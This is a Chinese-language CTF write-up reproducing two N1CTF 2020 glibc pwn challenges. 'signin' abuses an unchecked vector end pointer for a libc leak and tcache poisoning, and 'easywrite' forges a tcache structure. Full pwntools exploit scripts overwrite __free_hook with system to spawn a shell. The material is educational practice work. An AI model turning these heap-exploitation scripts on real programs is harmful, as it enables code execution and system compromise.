N1CTF 2020 部分pwn 復現
N1CTF當時沒有去打(老懶狗了),是賽後進行的復現,借鑑了官方的wp,在本地對兩道glibc環境下的pwn題進行了復現
signin
本地是在2.27的環境下進行的復現
在這之前,先介紹一下vector
Vector
vector 是C++ stl的一個容器,實現的功能是動態陣列。
值得關注的是vector的記憶體分配規則
但vector的記憶體容量不夠時,會申請一塊新的記憶體(大小是原記憶體的2倍),然後把資料複製過去,再free掉原來的記憶體
- vector的記憶體只會增加,不會減少
- clear()會清空元素,但是不會釋放記憶體,vector佔用的記憶體只會在程式結束後被釋放
程式實現了vector的功能
有兩個vector可供使用
vector_1和vector_2都是管理vector的結構體(struct_vector)
vector: begin_ptr vector+8:end_ptr vector+16:memory_end
add:end_ptr+8 and read_number
__int64 __fastcall new_0(__int64 a1, __int64 a2) { __int64 result; // rax __int64 v3; // rax if ( *(a1 + 8) == *(a1 + 16) ) // memory is full { v3 = get_end_ptr(a1); // v3 = *(a1 + 8) result = realloc_vector(a1, v3, a2); // } else // memory is enough { vector_push(a1, *(a1 + 8), a2); // *(a1+8) = a2 result = a1; *(a1 + 8) += 8LL; // end ptr += 8 } return result; }
delete:end_ptr-=8
unsigned __int64 delete() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); std::operator<<<std::char_traits<char>>(&std::cout, "Index:"); std::istream::operator>>(&std::cin, &v1); if ( v1 == 1 ) delete_0(&vector_1); if ( v1 == 2 ) delete_0(&vector_2); return __readfsqword(0x28u) ^ v2; }
show:
列印end_ptr-8 地址上的內容
unsigned __int64 show()
{
_QWORD *v0; // rax
__int64 v1; // rax
_QWORD *v2; // rax
__int64 v3; // rax
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
std::istream::operator>>(&std::cin, &v5);
if ( v5 == 1 )
{
v0 = show_0(&vector_1); // return *end_ptr-8
v1 = std::ostream::operator<<(&std::cout, *v0);
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
if ( v5 == 2 )
{
v2 = show_0(&vector_2);
v3 = std::ostream::operator<<(&std::cout, *v2);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v6;
}
漏洞點
在delete的時候,沒有對end_ptr進行檢查
在進行delete的時候,end_ptr-=8,我們可以通過delete去控制end_ptr的內容
利用思路
根據vector的擴容規則,在擴容時會申請一個大小為原來2倍的記憶體,並把原來的記憶體free掉。
這樣一來,即使我們沒有free這個選項,可以通過不停的add去得到一個unsorted bin
(libc-2.27的環境下有tcache機制,可能需要add的次數會多一些)
然後控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc
此時繼續free,控制end_ptr指向tcatche的fd,劫持tctache的FD,實現任意地址寫,直接打free_hook(one_gadget要用realloc抬棧)
Expliot
from pwn import *
p = process('./signin')
#context.log_level = "debug"
elf = ELF('./signin')
libc = elf.libc
def menu(idx):
p.sendlineafter(">>",str(idx))
def add(idx,num):
menu(1)
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Number:",str(num))
def free(idx):
menu(2)
p.sendlineafter("Index:",str(idx))
def show(idx):
menu(3)
p.sendlineafter("Index:",str(idx))
for i in range(260):
add(1,1)
for i in range(516):
free(1)
show(1)
gdb.attach(p)
libc_base = int(p.recvuntil('\n')[:-1])-96-0x10-libc.sym['__malloc_hook']
log.success('libc_base:'+hex(libc_base))
free_hook = libc.sym['__free_hook']+libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']
one_gadget = libc_base + 0x10a45c
for i in range(270):
free(1)
add(1,free_hook-8)
#gdb.attach(p)
add(2,u64('/bin/sh\x00'))
add(2,system)
#gdb.attach(p)
p.interactive()
easywrite
除錯環境 ==> libc-2.31.so
這個題目將符號表刪除了,需要用gdb進行恢復(第一次恢復符號表)
在IDA中檢視.got
.got:0000000000003F80 qword_3F80 dq 0 ; DATA XREF: sub_1020↑r
.got:0000000000003F88 qword_3F88 dq 0 ; DATA XREF: sub_1020+6↑r
.got:0000000000003F90 off_3F90 dq offset sub_1030 ; DATA XREF: sub_10D0+4↑r
.got:0000000000003F98 off_3F98 dq offset sub_1040 ; DATA XREF: sub_10E0+4↑r
.got:0000000000003FA0 off_3FA0 dq offset sub_1050 ; DATA XREF: sub_10F0+4↑r
.got:0000000000003FA8 off_3FA8 dq offset sub_1060 ; DATA XREF: sub_1100+4↑r
.got:0000000000003FB0 off_3FB0 dq offset sub_1070 ; DATA XREF: sub_1110+4↑r
.got:0000000000003FB8 off_3FB8 dq offset sub_1080 ; DATA XREF: sub_1120+4↑r
.got:0000000000003FC0 off_3FC0 dq offset sub_1090 ; DATA XREF: sub_1130+4↑r
.got:0000000000003FC8 off_3FC8 dq offset sub_10A0 ; DATA XREF: sub_1140+4↑r
在gdb中檢視got表,裡面儲存了函式的真實地址,一個個去看是什麼函式就行了
恢復符號表之後檢視IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v4; // rdx
__int64 v5; // rdx
_QWORD *address; // [rsp-28h] [rbp-28h]
void *message; // [rsp-20h] [rbp-20h]
void *message2; // [rsp-18h] [rbp-18h]
unsigned __int64 v10; // [rsp-10h] [rbp-10h]
__int64 v11; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v11 = v3;
v10 = __readfsqword(0x28u);
setbuf_0(stdout, 0LL, envp);
setbuf_0(stdin, 0LL, v4);
setbuf_0(stderr, 0LL, v5);
alarm_2(0x3Cu);
sleep_2(2u);
printf_0("Here is your gift:%p\n", &setbuf); // leak libc
message = malloc_2(768uLL);
write_0(1, "Input your message:", 19uLL);
read_0(0, message, 767uLL);
write_0(1, "Where to write?:", 16uLL);
read_0(0, &address, 8uLL);
*address = message;
message2 = malloc_2(0x30uLL);
write_0(1, "Any last message?:", 18uLL);
read_0(0, message2, 47uLL); // read 47 bytes
free_1(message2);
return 0;
}
程式的邏輯大概是能自由編輯一個0x300的堆塊
然後把這個堆塊的地址寫到任意地址上
然後就是申請一個0x30的堆塊,然後free掉
利用思路
一開始洩露了libc_base
這個堆塊的大小與tcache的大小相似,可以考慮偽造tcache(學到了新姿勢)
於是在message這個chunk上佈置我們的資訊
在counts陣列上將呼叫數記為1,在tcache bins 的連結串列上佈置任意寫的地址
於是我們的message可以這樣構造
message = '\x00'*4+'\x01'
message = message.ljust(144,'\x00')
message += p64(libc_base + free_hook-0x10)
最後就是找到一個儲存tcache地址的指標,將其覆蓋為我們的fake_tcache
gef➤ grep 0x5583411ea010# 0x5583411ea010 為tcache結構體的地址
[+] Searching '\x10\xa0\x1e\x41\x83\x55' in memory
[+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可讀可寫
0x7f708887c530 - 0x7f708887c548 → "\x10\xa0\x1e\x41\x83\x55[...]"
確定地址在0x7f708887c530處,減去libc_base得到偏移 在本機的環境上偏移為0x1f3530
然後message2打free_hook,getshell
Expliot
from pwn import *
elf = ELF('./easywrite')
libc =elf.libc
p = process('./easywrite')
p.recvuntil("Here is your gift:")
libc_base = int(p.recvuntil('\n')[:-1], 16) - libc.sym["setbuf"]
log.info('libc:'+hex(libc_base))
ptr = libc_base + 0x1f3530
message = '\x00'*4+'\x01'
message = message.ljust(0x12*8,'\x00')
message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
p.recvuntil('Input your message:')
p.sendline(message)
p.recvuntil('Where to write?:')
p.send(p64(ptr))
p.recvuntil('message?')
p.sendline('/bin/sh\x00'+p64(libc_base + libc.sym['system']))
p.interactive()